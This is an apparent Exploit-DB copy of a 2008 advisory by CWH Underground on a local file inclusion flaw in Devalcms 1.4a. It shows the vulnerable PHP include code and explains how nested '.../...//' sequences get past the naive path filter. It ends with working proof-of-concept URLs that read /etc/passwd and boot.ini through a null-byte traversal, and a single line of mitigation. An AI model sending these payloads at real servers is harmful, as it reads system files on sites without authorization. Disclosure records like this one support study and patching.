Devalcms 1.4a Local File Inclusion Vulnerability

vendor:

Devalcms

by:

CWH Underground

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: Devalcms

Affected Version From: 1.4a

Affected Version To: 1.4a

Patch Exists: NO

Related CWE: N/A

CPE: a:devalcms:devalcms:1.4a

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Devalcms 1.4a Local File Inclusion Vulnerability

Function mystriprelative is a function to prevent user from inserting relative path into variable. As the code above, you can bypass this fuction by something like following Simple Algorithm: [+] When we use '.../...//' Function will convert to '../' [+] When we use './.....//' Function will convert to '../' [+] When we use '.../...//./.....//' Function will convert to '../../' So we must use '.../...//./.....//./.....//etc/passwd%00' Function will convert to '../../../etc/passwd%00'

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a file path.

Source

Exploit-DB raw data:

=====================================================
  Devalcms  1.4a Local File Inclusion Vulnerability
=====================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 15 June 2008
SITE   : www.citec.us


#####################################################
APPLICATION : Devalcms
VERSION     : 1.4a
DOWNLOAD    : http://downloads.sourceforge.net/devalcms
#####################################################

--- LFI ---

** magic_quotes_gpc = Off **

-------------------------
 Vulnerable in func.php
-------------------------
@Line 
   
   13:  $myfile = $gv_folder_data . $currentpath . "/" . $myfile;
   14:
   15:  if(is_file($myfile)){
   16:  	include($myfile);
   17:  } else {
   18: 	        echo "not found";
   19:  }
    .
    .
    .
   98: function mystriprelative($mytext)
   99: {
  100:	$mytext2 = $mytext;
  101:	$mytext2 = str_replace("/..","",$mytext2);
  102:	$mytext2 = str_replace("\\..","",$mytext2);
  103:	$mytext2 = str_replace("../","",$mytext2);
  104:	$mytext2 = str_replace("..\\","",$mytext2);
  105:	return $mytext2;	
  106: }
   
-------------------------
 Detail of vulnerability
-------------------------
    Function mystriprelative is a function to prevent user from inserting relative path into variable.
As the code above, you can bypass this fuction by something like following

Simple Algorithm:

[+] When we use ".../...//" Function will convert to "../"
[+] When we use "./.....//" Function will convert to "../"
[+] When we use ".../...//./.....//" Function will convert to "../../"

    So we must use ".../...//./.....//./.....//etc/passwd%00" Function will convert to "../../../etc/passwd%00"

-------------
 POC Exploit
-------------

For Windows:
[+] http://[Target]/[devalcms_path]/index.php?currentpath=..&currentfile=.../...//./.....//./.....//boot.ini%00

For Linux:
[+] http://[Target]/[devalcms_path]/index.php?currentpath=..&currentfile=.../...//./.....//./.....//etc/passwd%00

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-15]